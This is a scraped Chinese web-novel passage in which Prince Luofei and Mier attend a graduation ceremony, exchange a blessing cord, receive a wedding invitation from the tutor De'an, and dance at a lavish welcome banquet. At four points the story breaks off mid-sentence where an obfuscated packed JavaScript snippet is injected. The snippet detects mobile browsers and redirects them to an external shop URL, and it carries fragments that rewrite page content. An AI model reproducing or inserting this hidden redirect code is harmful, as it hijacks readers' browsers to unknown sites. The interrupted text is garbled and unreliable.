一阵幽幽,又带着微末喜悦的问候从座椅下方传来,洛斐猛地拉着米尔起身,两人同时低头——那青年不知何时钻进了座位下方,正抬着眼,朝他们尴尬地笑了笑。 洛斐和米尔搭手将人拽起来。 就算是典礼后排,也不能如此无法无天。 洛斐面色不悦。 那人也自知不妥,耳根子红了一片,微微抬眸看了米尔一眼,连忙别开脸,解释:“我是见到了韦恩菲尔德大人,有些紧张,就,就想要先行离开,结果没跑成,摔倒了。” “他是……”米尔看了眼眼前的青年,确定不认识后,望向洛斐询问。 “他是克兰德公爵和莫斯利骑士的小儿子,是……”洛斐转身看了他一眼,那人连忙接道,“科尔,科尔·莫里斯。” “……科尔?” 米尔皱了皱眉,他对这个名字依旧毫无记忆。 科尔放下方才的拘束,认真看向米尔,语气是压不住的雀跃,“去年秋日赛马会,我说您骑得真好。” 米尔怔了一瞬,随即笑了。他记得,那时确实有个少年来夸过他。 米尔打量了他一周,说:“你长得好快。” “……还好。”科尔顺势坐在米尔身旁。 洛斐被晾在一旁,坐在最边上,看着两人聊得热络,他反而像个摆设。 科尔哪里还有方才的可怜兮兮的模样,家族问题,领地收成,统统不管了。 直到科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732522|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 尔的姐姐来喊,才一边朝他们道谢,一边将那依依不舍的人给领走了。 洛斐暗自松口气。 不知道的,还以为是故人重逢。 “你为何不去领奖?”米尔环顾喧闹的庭院,目光落向身旁的洛斐,明明也是主角,非要坐在最后边等待仪式结束。 “你没来,我不想去。” “不是怕抢了他们光彩?怕典礼乱了套?怕他们无法好好享受。”米尔问得直截了当。 洛斐偏头看着他,认认真真地回答:“我并不如你想得那么周全。抢风头尚且谈不上,抛开我的身份,我未必比得上他们,但王子身份的确会吸来些目光。” “况且你向来讨厌在人前频繁地露面,不领奖也好。” 马车邀请米尔后,洛斐便想清楚了,他太不顾对方意愿了。 米尔本就讨厌众目睽睽,洛斐的登场又势必激起纷扰,还不如安安静静地待在下面乘凉。 洛斐说完,余光瞥向一旁不搭他的话,对方真板着脸,认真观看仪式的米尔。 洛斐叹口气,掰正米尔肩膀。 “……那你又为什么会来了?不是对我避而不见吗?”洛斐看着他的眼眸,直白地问他,“你那日怎么了?慌乱离开的那日。” 洛斐将挤压许久的话尽数挥洒,生怕米尔一起身又离开了。 好在米尔只是顿了片刻,微微抬眸,思索了一会,说道:“那日离开是晕车所致,身体十分不适,后来养病不见客,并非是对殿下避而不见。” “至于为何会来……大概是不愿见殿下无人颁奖而惹人议论。” 洛斐微微蹙眉,问他:“真的?……不是因为旧友的婚礼邀请?” 这下轮到米尔不解了,反问:“婚礼?谁的婚礼?” 听完米尔郑重的回答,洛斐心里终归明了。 毕业典礼前埃迪便提议道,不论洛斐的邀请米尔会不会答应,他都会来。 因为米尔旧时结识的那位导师即将举办婚礼,米尔不接客也不收信件,唯有这个机会能将人请出来。 但眼下看来,米尔还不知道呢。 洛斐对此甚是满意,至少证明了米尔是为了他而来,并非是埃迪所说的旧友婚宴。 洛斐嘴角扯了扯,随口回了句:“没什么,有些惊讶你如此讲信用,对了,你的身体好了吗?” “明日我们一起去趟卡斯弗那里,看看你恢复得如何,顺便请他查一查你的旧疾。” 他们一说开,洛斐的话仿佛开了闸,怎么也停不住,米尔只好率先开了口:“谢谢殿下的关心,只是头晕些,……早就无碍了。” “不能轻视一切病症。”洛斐自顾自地说:“你那日便是,随时随地便能复发,绝对不能轻视。” 米尔垂首不回答了,见洛斐还在喋喋不休地嘱咐他要注重身体,忽地拽住他的袖口,抬眼看他,“知道了,你提起的,我自然要好好对待。” 米尔话音刚落,洛斐怔愣了一下,而后嘴角扬起的幅度更高了,笑意更浓了。 心里有种说不清道不明的喜悦,像是早晨吃下的浆果在心口软化开来。 “你知道便好。”洛斐任由他拽着袖口,两人贴得很近。 他原本还想询问对方是否要继承王位,但见米尔难得放松,也不敢问了,怕米尔不高兴。 尽管,米尔也没高兴起来。 米尔松开手,神色如常,甚至将两人的距离拉开些。洛斐不解,将这份退让归咎于燥热的天气。 典礼仪式终于结束,结果院长又忽然要去讲些话,无非是那些夸赞莱因哈特的场面话。 洛斐抬手给身旁米尔扇着风,目光顺势看向他的手腕,忽然顿住了。 “这是什么?”洛斐将他的手腕微微抬起来。 41. 给你颁奖 米尔顺着他的力道抬眸,看向被握住的手腕。 一根金黄色细绳正晃晃荡荡地垂在他腕间。 绳身由麦穗碾磨抽丝后编织而成,每一缕都捻得细密均匀,绳结收得利落干净,缀着一粒穗状坠子,微微摆动,借着直射的日光,通身透着如麦粒般的光泽。 艾瑟兰向来喜爱色泽浓烈的饰品,如此素净的,倒是很打眼。洛斐好奇地摩挲了一下,“麦穗绳子?不像是出自艾瑟兰的饰匠。” 米尔扬了扬手腕,笑着说:“这是祈福绳。长辈常常给孩子系上它以保来年风调雨顺,平安康健。” 米尔说完后便顿了顿,缓缓地收回手臂,视线移向颁奖台,一时间不说话了。 洛斐托着腮听得正起劲,见对方说到一半忽然停了,一言不发,也猜到了缘由。 洛斐没追问,指尖顺着米尔的手背滑下去,轻轻勾起那根祈福绳,朝着米尔说道:“秋日是露希恩王国的丰收礼,家家户户的孩子都要戴祈福绳,对吗?” 手背传来阵阵暖意,米尔也跟着微微一愣,看向歪着身体,嘴角勾着笑的洛斐,“你……知道丰收礼?” “我听父王母后提起过。”洛斐摸了摸那绳子的材质,不咸不淡地开口:“是很盛大的礼仪,这根祈福绳也比他们说得要精致耀眼。” “恰好遇到了卡斯弗,他随手给我的,也只是随便系着罢了。”米尔往前扯了扯袖口。 “卡斯弗医师?” “他的学生也是今年毕业,他应邀来观礼。” 洛斐微微颔首,露希恩的物件在艾瑟兰本就少,能替米尔备下这样一件旧物的,也只有卡斯弗了。 他心中了然,但依旧不悦,不是因为米尔和卡斯弗交流,而是他小心翼翼护着那根祈福绳的动作。 “不用掩藏你故乡的习俗。”洛斐凑到他耳边,压低声线,“莱因哈特国王向来不拘于这些,况且怀念家乡有什么错可言,随你便好。” 洛斐从小就在民间见惯了各国的风土人情,薇洛希也常常教导他,只要不违背道德礼法,做什么都是自由。 “谢谢你。”米尔语气感谢,依旧悄无声息地将袖子扯了回去。 洛斐看着他的小动作,又伸手给他扯了下来,说:“不必藏着掖着。” 米尔叹口气,回了一句,“很晒。” “……”洛斐默默地将米尔的手袖子扯平,看了眼颁奖台,人来人往,活动早就结束了,偏头忽地问起米尔:“要不要去乘凉?” “乘凉?”刚准备起身的米尔坐了回去,“仪式即将结束,殿下身为王子不在场,恐怕会引起麻烦。” “你不是感到很晒,很热?”洛斐想也没想地反问他。 “……晒,也有些热。”米尔如实回答,圣西尔学院哪里都好,就是它的庭院实在是燥热无比。 “那不就好了,一起去找凉爽的地方待着。不用担心我,仪式结束,便没人在意我了。”洛斐起身,下意识朝他伸手。 米尔顿了顿,抬眸道:“但是……” “你凉爽一些最重要,其他都不重要。”洛斐干脆地截住他的话,问:“还是说,我连邀请你的资格都没了?” “当然不是。”米尔微微一愣,几日不见,洛斐都会给他下套了。他看了对方一眼,“请殿下带路。” 果然离开庭院,空气猛然清凉,像是旱地遇甘霖,对米尔而言,已经足够凉爽了。 但洛斐没停,还在往前走着,米尔也就跟在身后。 洛斐许久不来圣西尔,走着走着便不自觉地加快了步子。等他回头时,米尔早就远远地落在了后面,不紧不慢地走着。 洛斐没有犹豫,转身便退回到米尔身旁,“抱歉,好久没来,对路不太熟,走得有些快。” “是我走太慢了。”米尔语气不太提得起劲。 洛斐微微蹙眉。 放眼各国,露希恩王国的气候当属最佳,四季如春,温煦宜人。 米尔自幼在温和的气候里长大,耐不住这般炎热也情有可原。 “你怎么不直接将卡斯弗医师留住?正好为你看看身体。”洛斐想起要去卡斯弗待的荒僻野地,不如直接将人留在城堡。 米尔往另一边靠了靠,说:“我要是按照殿下的想法,强留卡斯弗给我治疗,他毒死我的可能性恐怕会更大些。” 洛斐笑了笑,见前面有横斜树枝挡路,他便向米尔那边微微偏了偏身。 他再抬头时,米尔便又离他远了一些。 洛斐皱了皱眉。 米尔在躲他。 距离目的地尚且有一段路程,洛斐朝米尔时不时地搭句话,身体也不动神色地往对方身边凑。 洛斐往右,米尔便也往右。 洛斐往左,米尔便也跟着往左。直到左边无路可走,下方就是悬崖边缘时,米尔才会快步绕到他前面。 “你……”洛斐张了张嘴,很想问问他,避着自己的原因,可话到嘴边,又想起了一个致命的前提—— 他凭什么质问对方? 先前他和米尔的那些亲近,肩膀靠着肩膀,手臂环在腰间,从来都是因为米尔默许。 如今米尔不默许了,躲避了,他又有什么理由和立场去质问对方。 米尔察觉到身后人忽然安静了,转身问他:“你?殿下要问什么?” 洛斐思绪回笼,被米尔问得愣了愣,抬手摸了摸后颈,慌乱地开口:“你……的祈福绳很好看。” 米尔举起手腕,转着看了一周,又看了看洛斐,问:“你喜欢?” 洛斐点了点头,反正戴在米尔腕间的确不难看。 米尔走到他跟前,没打招呼,低头解下腕间的祈福绳,利落地系在洛斐手腕上。 动作行云流水,洛斐回神的时候,那根宛如麦穗般的祈福绳便到了他的腕间。 洛斐本能地把手撤了回去,要将祈福绳摘下来,直言拒绝:“卡斯弗送你的礼物,我断然不能收。” 米尔按住他手背,“请殿下仔细看看,是否和我的那根相同。” 洛斐听他说完,垂首去看手腕上的细绳,那里缠着的的确不是金黄,而是一抹温润的翠绿。 绳结处垂着的小坠子也变了模样。麦穗换成了绿草,编也更细些。 洛斐抬手在眼前晃了晃,翠绿衬得那截腕骨分明,分外好看,笑着问:“你送我的?” 洛斐问完,神情愣了愣,看向米尔,语气添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738125|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了几分试探,“不会也是卡斯弗为你编的?” “这根祈福绳,我戴很多年了。”米尔见洛斐戴着的确合适,细绳绕了两周稳稳落于腕骨,腕线流畅利落。他不紧不慢地说:“我像你这个年纪时戴的,送给你,就当做给殿下颁的奖。” 洛斐下颌微扬,笑意明晃晃的,说:“说是你送我的毕业礼物更为恰当,我也更加喜欢。” 米尔转身看了一眼,庭院早就落在了后面,典礼仪式大概也到了结尾,而身旁的洛斐还在摇晃着手腕,观赏着细绳摇摆,好不快活。米尔叹口气,问:“殿下不觉得可惜吗?” 洛斐动作未停,随口问道:“可惜?” “今日明明也是你的毕业典礼,你却无法上场。” 洛斐偏了偏头,看着他,“不是无法上场,只是天气炎热……” “我恰好也没来,你便不去了。”米尔接得自然而然,而后问他:“对吗?” 洛斐对上他的目光,那双黑眸像是布雷克伍平原的夜草,只是香气就能将人勾出真话。 洛斐认了,垂首拨了下祈福绳,坦白地说:“父王让我先不要去,我要是去了,典礼仪式便会成了供人奉承的名利场。” “……那你先前也是因此不去?”米尔轻声反问。 “那倒不是。”洛斐想没想地回答:“单纯不爱来晒着。” 洛斐看了眼米尔,答得干脆,“身为王子,享受的优待数不胜数,何必在这点细小的地方而斤斤计较。” “而且你送了我祈福绳,比我收到的所有礼物都要好。”洛斐将手臂伸到米尔眼前,晃了晃。 米尔被他的动作逗得微微后仰,洛斐伸手虚虚地扶着他,笑着逗他:“你送我的礼物也害怕?” 米尔忽略了他的调侃,而是站稳后说了句,“你很适合做王子,不必担忧其他人抢占你的位置。” 米尔说得直白,面上也没有什么表情,但洛斐却被轻轻地堵了一下。 他早就不信那个谣言了,米尔不想当王子,他比谁都清楚。 他不知道米尔为何突然提起来,索性不接话了,将人轻轻扶正后,抬手指向前面,“你看。” 米尔跟着洛斐来的时候并未抱有太大期待,乘凉的地方仅仅有些树荫即可。 他顺着洛斐指向的方向望去,才明白能让眼光挑剔的洛斐满意的地方,的确非同寻常。 这块地方大概是温斯洛的最高点,微微垂眸便能将温斯洛尽收眼底,树木沿着坡道层层叠叠地铺开,秋叶簌簌地飘动,风一吹,便是散开了一片碎金。 “是不是很不错?”洛斐伸手挥了挥落在米尔肩膀的落叶,“这里的夜晚也夺目,长着透明翅膀的小虫子在夜雾中流动,说是银河也不违和。” 米尔捡起地面上的一片落叶,回了句,“确实动人。” “我先前不常来圣西尔,但每当来圣西尔时都会来看看,不同节气,总有不同的景色。” 洛斐说完,见米尔蹲着捡起了金黄的落叶,便知道他那习惯又来了,像在河谷搭石子一样。 洛斐弯腰帮他一起捡,随口问了一句:“你先前的学院也是如此吗?武器精良,审美艺术也很好,露希恩的学院应当很有趣。” 42. 婚礼 “露希恩的所有学院你都没有去过?”洛斐愣了愣,不解地问道。 就算是不爱管事务,但身为王子被派去学院也在所难免。 米尔将落叶堆积在一起,随口答道:“我父亲认为,只要骑术,剑术和武器方面过关就好,王子不需要其他训练和社交。” 米尔谈起往事,补充道:“后来母亲奋力争取,我才有机会学习历史和其他课程。” “那……你一直在哪里上课?”洛斐站起来,垂首看着米尔问:“城堡?” “训练场。” “……”洛斐垂头丧气地凑到他身旁,把捡来的落叶一片一片地叠上去,正好填上顶端的缺口,闷闷地开口:“其实学院并没有什么好的,仅仅只有此地舒适,课程繁琐,还要应付社交……” 米尔不再伸手捡落叶,而是偏头看向身边的洛斐,语气平平地说:“是吗?我一直很向往在学院完成课程呢。” 洛斐微微垂眸,侧身看了他一眼,改口:“那你来圣西尔便好了,虽然不能直接说是最好的,但也没谁敢说比它强。你想学写什么,算数,管理还是文学——等仪式结束,我便去和院长嘱咐,让你早日入学。” 眼看着洛斐就要起身回颁奖台,大有一副今日便要他提包入住的架势,米尔急忙伸手将他扯回来,“你别急,我只是随口一提。” “既然向往那便来就好了,而且往往随口说的,都是发自内心的,不能放任不管,会熬成心病。”洛斐一字一句地回答。 米尔表情复杂地说:“……不至于。” 洛斐神色认真,“所有的心病都是由于无所谓的态度。” 他想不明白,既然米尔想要体验学院生活,为何不去,又不是什么难事。 按照米尔的能力,就算是去应聘导师也能应付自如,入学考试应当是轻而易举。 至于米尔为什么拒绝,洛斐只能想到一个理由。 米尔又担忧了。 洛斐又蹲回米尔身旁,说:“你不要担忧……” 米尔见洛斐回到自己身侧,继续手中的落叶堆积任务,随口应了一句,“知识,我全都掌握了,没必要复习一遍。” “……”洛斐将话咽了回去,静静地看着米尔的侧脸。 很好,很自信。 洛斐不再主动搭话,下巴抵着膝盖,微微侧眼去看米尔。 米尔见他不说话了,偏了偏头,问他:“殿下,有问题吗?” “没问题。”洛斐当即开口。 米尔搭起东西来便不管不顾,洛斐搞不懂其中乐趣,只好陪着他将满地的落叶硬生生地堆成了小山,和布雷克伍平原那座石堆一样。 身后的典礼彻底结束,连仅有的旗帜翻动的声响也渐渐消失。好在此地的确是宝地,无人打扰。 只是到了傍晚,风便大了些。 洛斐看着落叶小山的顶端在风里摇摇晃晃的,像是随时会塌。他立刻伸手压住,看向米尔,对方依旧认真地埋头找寻树叶。 洛斐脑海中忽地浮起一句话。 人专注的时候,防备会松,谨慎会少。 那米尔是不是也会相对放松下来。 洛斐清了清嗓子,盯着一旁的米尔,佯装不经意地问:“你那日……真的只是晕车?” 米尔起身,看向依旧蹲着的洛斐,淡淡地开口:“殿下不是知道么,我一向晕车。” 晕车是米尔常有的毛病,洛斐并不奇怪。但他不太相信,晕车会让人露出那种羞愤的表情离开。 “……知道。” 洛斐没起身,垂首捡起一片叶子,在他手中被捻得不成样子。 “但是你……” 米尔见他举措奇怪,皱了皱眉,问他:“怎么了?” 神色坦荡,举止坦然,目光也干净得一如往常。 洛斐看着他,突然不知道该问什么了。 一切的猜测顿时散了,米尔这幅坦坦荡荡的模样,相比之下,倒显得那些猜想离奇得不像话。 洛斐看着他的眼睛,一本正经地说:“……你也得养好身体。” 米尔愣了愣,颔首回答:“谢谢。” 洛斐先伸手将落叶堆轻轻推到树荫下,风吹不到,日晒不到。 “我知晓你体魄强健,剑术骑术皆精,但你不能因此松懈。”洛斐起身,语气认真起来,“技高的人往往摔得最重,伤得也更狠。” 洛斐也觉得这话改得生硬,便别开了眼,补充道:“也别总躲着,万一你晕倒了,我还能在一边帮你。” 米尔笑了笑,反问:“殿下帮我喊医师吗?” “你别管。”洛斐望向米尔身后,见日光渐渐暗淡下来,再晚些回城堡,恐怕又要听莱因哈特念叨了。 洛斐看向米尔,提议道:“米尔,我们快些……” “米尔!” 洛斐未讲完的话,硬生生地被身后那道熟悉的招呼给截住了。 太熟悉了。 洛斐不用转身,也猜到了是谁。 倒是米尔微微侧身,朝洛斐身后探了探头才看清来人,喊了句:“德安?” “是的,好久不见。”那人急匆匆地站稳,“自从旅店分开,便再也没见了。” 米尔从洛斐身前走出来,看见德安一副气喘吁吁的模样,“好久不见,德安。圣西尔的毕业典礼,你应当很忙,怎么跑得如此着急?” “只是有些脱不开身,有些事情需要跟你说。” 德安平复着急促的呼吸,没急着解释,而是看向背对着他的洛斐。他愣了愣,只觉得熟悉但一时不知道是谁,转而看向米尔:“这位先生是?” 有了埃迪得来的情报,洛斐猜到了他会来,自然也知道对方来是为了说什么。 洛斐转身微微颔首,“你好,德安导师。” 德安怔了一瞬,随即躬身,郑重地重新问候,“您好,洛斐殿下,好久不见。” 洛斐对德安的突然来临并不期待,但他不至于贸然开口打扰人家旧友叙旧。 洛斐笑了笑,不紧不慢地退后些,偏着头看了眼米尔,像是确认对方神情正常,然后才向德安说了句,“你们请讲,不必管我。” “稍等。”德安语气认真,“殿下若是不忙,不妨也留下来听听。” 洛斐摆了摆手,婉拒道:“不必了,我在反而不方便。” “不必拘谨,不方便您听的事,德安不会当面来讲。”米尔看向洛斐,淡淡地开口。 “是的,殿下放心便好,只是些好友间的闲事。”德安也跟着开口。 两人皆是邀请,洛斐也不好拒绝,“那便打扰了。” 后山不是圣西尔学院的重点区域,未设桌椅,只有几棵老树和一片草地。 非要讲的话,能坐的地方只有树林里的树桩。 洛斐见仅有两段树桩。 他本想让他们先坐,可他还没来得及开口,德安已经率先坐到了一截树桩上,只剩洛斐愣了一瞬。 导师如此直白,不奉承,倒是省了客套话。 米尔好似习惯了,看了眼一旁的洛斐,想也没想地扯着他,要他坐到另一截树桩。 “不用,你坐便好。”洛斐转身将人按在树桩上,语气随意,“不用管我。我年纪轻轻,站一站也无妨,对吗?” “表哥?” 洛斐说这话时,语气轻飘飘的,带着几分玩笑的意味。 放在平时,米尔定然会回他一句,也许是反驳他,亦或是逗他,但总不会像眼前这般,弯了弯嘴角,什么也不说。 洛斐收回视线,抿了抿唇。 还说只是晕车,明明就是不对劲。 “我是想邀请你来参加我七日后的婚礼,米尔。”德安说完,又连忙米尔身后的洛斐开口:“当然,也诚挚地邀请殿下来参加。” 洛斐并不意外,但礼数使然,面上依然浮起恰到好处的笑意,“恭喜你,德安导师。” 米尔接过德安递来的邀请函,语气微扬,“那太好了,想来也该是和玛格特?” “当然。”德安微微弯了弯嘴角,“她上次得知我遇见了你,就一直让我邀你来做客,只是一直没找到机会。如今借着婚礼,她再三叮嘱我,务必把你请来。” 德安视线照旧转向洛斐,补充道:“如果殿下也愿意来,那便是我的荣幸。” 洛斐挑了挑眉,撑着米尔的肩,“当然要去。” 洛斐手指无意识绕着米尔侧边的发根,补充道:“你邀请了,必然准时到场,只是莱因哈特国王那日要巡访,大概无法到场。” “不,不用……” “不用劳烦国王陛下了。” 德安没想到洛斐如此看重,就算是世家贵族的婚礼,也很难邀请莱因哈特到来此才是,洛斐居然认真和他解释起来。 德安躬身道谢,“殿下能来已经很好了。” “那我和米尔七日后会准时赴约。”洛斐垂首朝米尔说道:“好吗?” 米尔仰了仰头,抬眸问他:“为何要和我一起去?” 洛斐被他问得一懵,他们先前那次外出是分开的。 一旁的德安连忙开口:“殿下放心,届时会有人去接您,无需费心” 洛斐看了眼德安,视线重新落回米尔脸上,一本正经地说:“我没有邀请函,也不认识路,更重要的是,我想要和你一起去,不行吗?” 米尔移开视线,不再去看他,笑着回答:“不劳烦别人来了,我们那时会去的,请你替我跟玛格特问好。” “好的,我很期待,玛格特也是。” 圣西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本来,米尔是不愿意和他一起前去,做如此丢人的保证。 但经不住对方一路的软磨硬泡,最后也只能跟着他和莱因哈特,薇洛希一起共进晚餐。 如洛斐所言,有米尔在场的晚餐安详得诡异,没有莱因哈特冷不丁的教导,也没有薇洛希看热闹似的拉架。 除了话题偶尔有点偏离,气氛还算融洽,洛斐微微放心,看来一会,他只要随口一提便能成功。 “你在城堡睡得不好,最近可有改善,要不要让医师来看看?”薇洛希向来不管莱因哈特那套“用餐时不要讲话”的规矩,目光落在米尔身上,语气较先前更加和蔼,“洛斐从小就是直言直语,不拐弯的性子,他要是有什么错误,你和我说就好,我来教训他。” 洛斐用餐的动作一停,抬眼看了薇洛希一眼,语气里带着不服气,“你说什么呢,母后。” “用餐时不要讲话。”一旁用餐的莱因哈特头也不抬地来了一句。 “……”洛斐听着薇洛希问得越发古怪。又不是头一回见面,问什么爱好、未来打算。 眼看着薇洛希一发不可收拾,洛斐手里的刀叉在碟沿倾了倾,轻声开口:“母后,父王。我和米尔明日要去一趟北方,就是北城那片区域,大约待三日便回。” 薇洛希和莱因哈特同时抬头,视线齐刷刷地落在洛斐身上。 用餐结束的莱因哈特放下刀叉,率先开口:“去北城?去那里做什么?克兰德公爵和莫斯里骑士有什么问题?” “那倒没有,只是想去逛逛,看看北城的风光。”洛斐垂眸答道。 从汐莱纳希回来后,莱因哈特对他说的话一直是将信将疑,尤其是洛斐并不是会撒谎的性子,小动作多得藏无可藏。 薇洛希相对开明,极少约束他的自由,但也不放心地问了问:“如果真是北城的事务,你父王会派人去查看,你们不必亲自前去。” “母后,真的只是去游玩。”洛斐重复了一遍,语气认真。 一直一言不发的米尔倏地开了口:“是的,殿下早就同我说过,他很想去北城看看那里的秋日。” 莱因哈特抬头看了米尔一眼,“真的?” “当然。”米尔郑重地颔首。 薇洛希听米尔说完,神色明显放松,犹豫地看向洛斐,“你真的是要和米尔一起去北城游玩?只有你们两个。” “是的。” 一旁的莱因哈特从方才便沉默着,听到洛斐肯定的答复,忽然应了一声,“好。” 洛斐顾不得王室礼仪,偏头看向身旁的米尔,喜悦压都压不住。 “但是……”莱因哈特不咸不淡地补充道:“你们得参加完接风宴会再离开。” 43. 接风宴会 莱因哈特和薇洛希为这场接风宴会筹备了许久,他们参加也是应当的。何况只一日,也不耽误去北城的行程。 洛斐收回思绪,转而偏了偏头,“米尔,你觉得如何?” “国王和王后费心至此,我自当赴宴,不敢推辞。”米尔朝面前的两位答道。 有了对方的肯定回答,洛斐直截了当地朝莱因哈特说道:“父王得答应,明日结束,便让我和米尔启程。” 莱因哈特看了洛斐一眼,微微颔首,“好好注备明日的宴会,如果顺利的话,你们便在北城多待些日子也无妨。” 尽管洛斐常常想办法躲避宴会,但参加的也称得上数不胜数,倒也不至于为了一场接风宴会而特意准备些什么,但面对莱因哈特的嘱咐,依旧回了句,“明白,谢谢父王,母后。” 洛斐说完,侧首看向米尔,语气不自觉地扬了扬,“米尔,你也要好好准备。” 米尔语调没什么起伏,“好的,谢谢殿下的嘱咐。” 又是那副淡如水的语气,语调丁点起伏都没有,搭配着面无表情。 洛斐抿了抿唇,收回视线。 米尔的心思比布雷克伍平原的夜路都要复杂,弯弯绕绕,日光都照不到底。 但米尔的作用是鲜明的,莱因哈特用餐时异常平和,惯常的训话都省去了,仅仅是问了洛斐几句公事,顺便交代他务必重视明日的宴会,其他时间皆是沉默着。 洛斐一一应是。 他还真有些期待明日的接风宴会。 莱因哈特素来不喜奢华,洛斐对接风宴会的认识,还停在幼时。他们巡访归来后,父王偶尔会让人备上一桌豪华些的餐食,便是他印象中全部的庆祝了。 所以当侍从捧着那套过分华丽的礼服送到他眼前时,洛斐实实在在愣了一瞬。 “这件是今日要穿的的……礼服?”洛斐拎起礼服的袖子,缎面沉沉地垂着,金线绣着缠枝纹,沿着袖口一路延伸至肩头,精致得像是要去结婚。 洛斐放下礼服,“你们拿错了,换件闲适些的来。” 侍从站在一旁,抬头看了眼那套礼服,语气笃定地说:“这是王后为殿下特意挑选的,她嘱咐您要穿得隆重。” “你先换一件,宴会结束我告诉母后。”洛斐见侍从是陌生面孔,多解释了一句,“这件礼服太隆重了,韦恩菲尔德大人会不自在的。” “王后为韦恩菲尔德大人也准备了一件。”侍从如实回答。 “……” 洛斐沉默了片刻,又偏着头看了眼那礼服。他平时赴贵族的宴会,也不至于如此穿着。 “……好,辛苦了。”洛斐放弃挣扎,无言以对,只好换上那件薇洛希特别交代的礼服。 洛斐原本担心米尔的礼服会过于简单,怕他拘谨。可他看到米尔时,那点担忧全散了。 一套绣满细密暗纹的青蓝色礼服,银线沿着前襟滑到下摆,腰封收得利落且妥帖,走动时仿佛水光波动。 洛斐怔愣了好一会。 ……也太隆重了。 薇洛希正和贵族们颔首交谈,无暇顾及其他,洛斐环顾一周,也没有相识的侍从在场。 想问些问题也无从下手。 他只好径直朝米尔走去,站在对方面前,仔细将人又看了一遍,“米尔,你的礼服很别致。” 米尔垂首摩挲杯壁的动作顿了顿,继而望着酒杯,头也没抬地说:“谢谢您的称赞。” “……不用谢。”洛斐垂眸答道。 什么调侃的语句都能被他化解为客套话。 “你怎么穿得如此华丽?”哪怕洛斐穿得也不朴素,但依旧偏着头问米尔:“这真的是接风宴会吗?” 米尔垂眸看了眼精致的礼服,“礼服是王后为我准备的。”他说完便顿了顿,目光扫过四周,语气平平地开口:“至于接风宴会,也许是国王和王后心疼殿下,特意弄得隆重了些。” 洛斐去拿他酒杯的手顿时不动了,目光看向米尔,“你认真的?” 就算是莱因哈特远行归来,他也未必会铺张至此。更不要说,偷偷离开,独自跑到汐莱纳希,又毫无作用而回来的他们了。 米尔将酒杯挪远些,一本正经地说:“自然是认真的。” 洛斐见米尔手中的那杯遥不可及,便站直了身子,自顾自地取了杯新的,顺势递给米尔,“不要饮用果酒,你对浆果过敏,忘记了?” 米尔怔了怔。 洛斐将麦芽酒塞给对方,随口道:“我看,父王和母后应当是想到了奇怪的点子,才会将好好地接风宴会变成……订婚宴会。” 洛斐说完,垂首抿了口手中的果酒,微凉的苦涩感袭来。他皱了皱眉,看来母后对酒水的准备失误了。 洛斐下意识要递给身旁的米尔尝尝,结果对方不合时宜地发起呆。 “米尔?”洛斐在他眼前晃了晃。 米尔目光移向洛斐,“怎么了?” “你发什么愣?”洛斐将酒杯放在一边,抬手摸了摸他的额头,“你的头晕没好吗?医师没有治疗?” “不是,只是想到了些事情。”米尔别开脸,闷闷地开口。 总是张口就来。那表情哪里像是陷入了回忆,分明是忽然看穿了什么事情的怔愣。 洛斐刚想追问,身后便传来另一道声音。 “洛斐殿下,恭喜你。”莫尔顿公爵站在他们眼前,笑吟吟地和洛斐说完,目光落在一旁的米尔身上,“韦恩菲尔德大人,你也是,恭喜你。” 洛斐不解地垂眸,看着高兴得没来由的莫尔顿公爵。 平安归来也算是值得恭喜的了吗? 洛斐不懂他的想法,只是按照礼数,微微颔首,朝莫尔顿公爵笑着回道:“谢谢您的祝福。” 莫尔顿公爵没有立刻回答,而是视线移向一旁准备离开的米尔,提议道:“殿下不和韦恩菲尔德大人一起跳舞吗?” 米尔的脚步顿时停下了。 洛斐听见莫尔顿公爵的话,先是一愣,而后奇怪地看了眼莫尔顿公爵,接风宴会怎么能跳舞呢。 谁知,其他贵族纷纷应和。 一时间,宴会厅满是细微的起哄,洛斐急忙将求救的眼神递给另一边的薇洛希,而对方只是点头鼓励他,甚至神情带着期待。 “韦恩菲尔德大人身体抱恙,不便……”洛斐的话未讲完,就身旁的米尔截断了。 “洛斐殿下,可以请您跳一舞吗?”米尔微微躬身,朝身旁洛斐的伸出了手。 洛斐见米尔身体真的并无大碍,反手握住了他的手,“我的荣幸。” 第二次共舞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750124|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 